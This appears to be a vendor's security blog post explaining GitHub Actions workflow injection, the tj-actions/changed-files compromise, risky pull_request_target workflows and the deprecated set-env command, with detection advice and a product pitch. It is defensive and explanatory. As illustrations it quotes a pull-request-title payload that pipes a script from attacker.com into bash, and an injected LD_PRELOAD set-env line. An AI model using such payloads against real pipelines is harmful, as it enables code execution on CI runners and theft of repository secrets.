GitHub Actions workflow injection lets an attacker run arbitrary commands inside your CI pipeline just by controlling a string — a pull request title, an issue comment, a branch name — that a workflow later drops unsanitized into a run: step. No malware upload required. In March 2025, this exact class of weakness became a real-world incident when the popular tj-actions/changed-files action was compromised (CVE-2025-30066), exposing CI secrets across an estimated 23,000 repositories that referenced it by tag. Five years earlier, CVE-2020-15228 showed the same underlying problem from a different angle: GitHub's own workflow commands could be hijacked through untrusted log output. Workflow injection sits at the intersection of two things CI systems have in abundance — untrusted external input and privileged access to secrets — which is why it keeps resurfacing in new forms. This post breaks down how it works, the incidents that prove it's exploitable, and how to detect it before an attacker does.
What Is GitHub Actions Workflow Injection?
GitHub Actions workflow injection is script injection that happens when a workflow interpolates an attacker-controlled GitHub context value — like github.event.pull_request.title, github.event.issue.body, or github.head_ref — directly into a shell command via ${{ }} syntax. When a workflow contains a step like run: echo "Building PR: ${{ github.event.pull_request.title }}", the title isn't just text substitution — GitHub renders it into the shell script before execution. An attacker who opens a pull request titled "; curl attacker.com/steal.sh | bash # gets that payload executed on the runner, with access to whatever GITHUB_TOKEN permissions and repository secrets the job was granted. This was catalogued as CICD-SEC-4 ("Poisoned Pipeline Execution") in Cider Security's 2021 Top 10 CI/CD Security Risks and remains one of the most common misconfigurations found in public repositories, because the vulnerable pattern looks completely ordinary in a code review.
How Did the tj-actions/changed-files Compromise Happen?
It happened because attackers modified the action's published release tags to point at a malicious commit, turning a trusted dependency into a secret-stealing payload without anyone editing a single workflow file. On March 14, 2025, security researchers at StepSecurity and others identified that tj-actions/changed-files — an action used to detect which files changed in a pull request, installed in tens of thousands of repositories — had its version tags (from v1 through v45) rewritten to reference a commit that dumped CI runner memory, searching for secrets like AWS keys and npm tokens, and printed them directly into the workflow logs. Because most consumers pinned the action by tag (uses: tj-actions/changed-files@v45) rather than by immutable commit SHA, the compromise propagated automatically the next time each workflow ran. GitHub assigned CVE-2025-30066, and a related compromise of reviewdog/action-setup (CVE-2025-30154) surfaced within days, suggesting a broader campaign targeting the Actions supply chain rather than an isolated incident.
Why Are pull_request_target Workflows So Dangerous?
They're dangerous because pull_request_target runs with write permissions and repository secrets while checking out code from the untrusted fork that triggered it. GitHub Security Lab researcher Teddy Katz documented this pattern in an August 2021 post titled "Preventing pwn requests," describing dozens of open-source projects — including some with hundreds of thousands of downloads — where a workflow triggered on pull_request_target would checkout the PR author's branch and then build or test it using the target repository's elevated token. A contributor could add a malicious package.json install script, a Makefile target, or a modified test file to their fork, open a PR, and have it executed with the base repository's secrets and push access — no merge approval needed, because the workflow runs automatically on pull_request_target events before any human review. The regular pull_request trigger is safer by default because forked-repo runs receive a read-only token with no secrets, but teams frequently switch to pull_request_target specifically to get secret access for legitimate reasons like commenting on PRs, then forget to add a strict checkout of the base ref only.
What Was CVE-2020-15228 and Why Did GitHub Deprecate set-env?
CVE-2020-15228 was a vulnerability in the ::set-env:: and ::add-path:: workflow commands that let any process able to write to a job's stdout — including a compromised dependency or an injected string in a build log — set arbitrary environment variables or modify the PATH for every subsequent step in the job. Because workflow commands were parsed straight out of console output rather than through an authenticated API, an attacker who could influence printed text (for example, through a malicious npm package's install script) could inject ::set-env::LD_PRELOAD=/tmp/evil.so and have it silently apply to later steps, including deployment steps with production credentials. GitHub disclosed the issue and deprecated set-env and add-path in October 2020, replacing them with the GITHUB_ENV and GITHUB_PATH file-based mechanisms, which require a file write rather than console output and are far harder to trigger from untrusted text. Workflows written before late 2020 that never migrated off the deprecated commands remain a lingering source of this exact weakness today.
How Can Teams Detect Vulnerable Workflows Today?
Teams can detect these issues today by statically scanning workflow YAML for untrusted ${{ }} expressions inside run: blocks and by auditing which actions are pinned by mutable tag versus immutable SHA. Open-source tools like zizmor (released in 2024 by William Woodruff) and actionlint flag the specific patterns behind script injection, unpinned third-party actions, and overly broad permissions: blocks in a single pass across a .github/workflows directory. GitHub's own CodeQL includes a javascript/actions-untrusted-checkout and related query pack that catches the pull_request_target checkout pattern described above. The manual check that catches most real-world cases: search every workflow for ${{ github.event. and confirm each match either feeds into an env: variable (safe) rather than directly into a shell string (unsafe), and check whether third-party uses: lines reference a version tag like @v4 instead of a full commit SHA like @a1b2c3d.... None of this requires exotic tooling — it requires someone actually reviewing .github/workflows/*.yml with the same scrutiny applied to application code, which is precisely the step most teams skip.
How Safeguard Helps
Safeguard treats CI/CD configuration as a first-class part of the software supply chain rather than an afterthought bolted onto application security scanning. Our reachability analysis distinguishes workflows where an untrusted-input pattern is actually exploitable — because the tainted value flows into an executed shell command with secret access — from cosmetic matches that pose no real risk, cutting the noise that makes teams ignore CI security findings altogether. Griffin AI reviews workflow changes and third-party action pins in the context of the rest of your pipeline, surfacing risky pull_request_target usage, unpinned action tags, and deprecated workflow commands as part of normal pull request review rather than a separate audit. When Safeguard confirms an exploitable pattern — an unpinned action, a mutable tag exposed to a known compromise like CVE-2025-30066, or a raw context interpolation in a run: step — it opens an auto-fix pull request that pins the dependency to a vetted SHA or restructures the step to route untrusted input through an environment variable instead of a shell string. SBOM generation and ingest extend that visibility to the actions and reusable workflows your pipelines depend on, so a newly disclosed Actions-ecosystem compromise can be matched against your actual exposure in minutes, not discovered after the fact in a postmortem.